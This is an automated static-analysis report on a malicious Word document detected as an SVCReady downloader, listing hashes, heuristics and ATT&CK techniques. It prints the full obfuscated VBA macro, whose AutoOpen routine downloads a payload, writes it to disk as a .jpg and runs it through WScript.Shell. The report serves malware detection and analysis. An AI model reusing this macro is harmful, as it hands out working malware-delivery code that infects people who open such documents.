Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3fc00a815bc3c02f…

MALICIOUS

Office (OOXML)

113.2 KB Created: 2020-08-21 09:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: f415cc4a39c8ea6e4e5766fc5415a878 SHA-1: 15267d57ca101d0ca85a8aac6e4a9fb39ceb335a SHA-256: 3fc00a815bc3c02ffaa1cdbb4acb9358aa6fd7dcb5db3b6dd9098fd8e5d1d33c
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to execute a payload, which is then written to disk as 'e3db290d.jpg'. This indicates the document's primary purpose is to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function cdb106ad(f41f54a6)
Set aeff4ab4 = CreateObject("wscript.shell")
Call aeff4ab4.exec(f41f54a6)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function cdb106ad(f41f54a6)
Set aeff4ab4 = CreateObject("wscript.shell")
Call aeff4ab4.exec(f41f54a6)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim f0ca199d As New c6fb11c5
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3577 bytes
SHA-256: cf043bc65c42d936fee842b1b4a680599cbd31ad99e1eeba05b4a76ec58635c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ea4ea2b7"
Function e687df84()
e687df84 = 1
End Function
Public Function b5eae42e(c7a5b2e6)
End Function
Function eea98ce5()
eea98ce5 = Application.ActiveDocument.Application
End Function
Function f8561b3c()
f8561b3c = Application.ActiveDocument.AutoSaveOn
End Function
Function c61592a3()
c61592a3 = ActiveWindow.Hwnd
End Function
Function f5cd4610()
f5cd4610 = 57788.583477187
End Function
Sub AutoOpen()
Dim f0ca199d As New c6fb11c5
b41be71c = f0ca199d.b21615d7()
ad7f29b5 ec9922bd(b41be71c)
f0ca199d.cdb106ad f21bf1f6(0) + " " + e3263784
End Sub

Attribute VB_Name = "d482e772"
Sub ad7f29b5(feda8315)
Open e3263784 For Output As #1
Print #1, feda8315
Close #1
End Sub
Function e3263784()
e3263784 = "e3db290d.jpg"
End Function
Function dcdbe539()
dcdbe539 = ActiveWindow.UsableHeight
End Function
Function cd7ea5ed()
cd7ea5ed = ActiveWindow.Height
End Function
Function f72943de()
f72943de = ActiveWindow.Index
End Function
Function d9355478()
d9355478 = ActiveWindow.EnvelopeVisible
End Function
Sub f0c23d86()
End Sub
Function f44a8a90() As Long
Dim f3905b46 As Integer
Dim deb9cac3 As Integer
deb9cac3 = 108
For f3905b46 = 27 To 79 Step 2
deb9cac3 = deb9cac3 + f3905b46
Next f3905b46
f44a8a90 = deb9cac3
End Function
Function a076d250()
a076d250 = ActiveWindow.SplitVertical
End Function
Function de732535()
de732535 = Application.ActiveDocument.AutoHyphenation
End Function
Function ad8e597b()
ad8e597b = ActiveWindow.Split
End Function
Function ec9922bd(feda8315)
ec9922bd = StrConv(feda8315, vbUnicode)
End Function
Function cf08dc76()
cf08dc76 = ActiveDocument.Shapes(e687df84).Title
End Function
Function aa945a56()
aa945a56 = ActiveWindow.Hwnd
End Function
Function e13db862()
e13db862 = 3
End Function
Function a3ce3f86()
a3ce3f86 = ActiveWindow.WindowNumber
End Function
Function e77bcd34()
e77bcd34 = ActiveWindow.DisplayRightRuler
End Function
Function f21bf1f6(f39900a7)
f9973bea = cf08dc76()
b6ddc6d0 = Split(f9973bea, "|")
f21bf1f6 = b6ddc6d0(f39900a7)
End Function

Attribute VB_Name = "c6fb11c5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function e3c9a56a()
e3c9a56a = 5
End Function
Function f8682877()
f8682877 = 1025 - 6
End Function
Function b60f3dda()
b60f3dda = ActiveWindow.EnvelopeVisible
End Function
Function c8508f0b()
c8508f0b = ActiveWindow.Height
End Function
Function b21615d7()
Dim d28b62c0 As Object
Set d28b62c0 = New MSXML2.XMLHTTP60
c992b1e2 = f21bf1f6(1)
d28b62c0.Open "GET", c992b1e2, False
d28b62c0.Send
With d28b62c0
b21615d7 = .responsebody
End With
End Function
Function bf9580ee()
bf9580ee = ActiveWindow.DisplayLeftScrollBar
End Function
Function a7b618a0()
a7b618a0 = ActiveWindow.SplitVertical
End Function
Function ccba7091()
ccba7091 = ActiveWindow.DisplayVerticalRuler
End Function
Function dc35e326()
dc35e326 = ActiveWindow.View
End Function
Function cdb106ad(f41f54a6)
Set aeff4ab4 = CreateObject("wscript.shell")
Call aeff4ab4.exec(f41f54a6)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: e4664446c54372be1db4b74858665759fca79c0081563938b642e2e0a644f848

Open this report in the interactive analyzer, or submit your own file for analysis.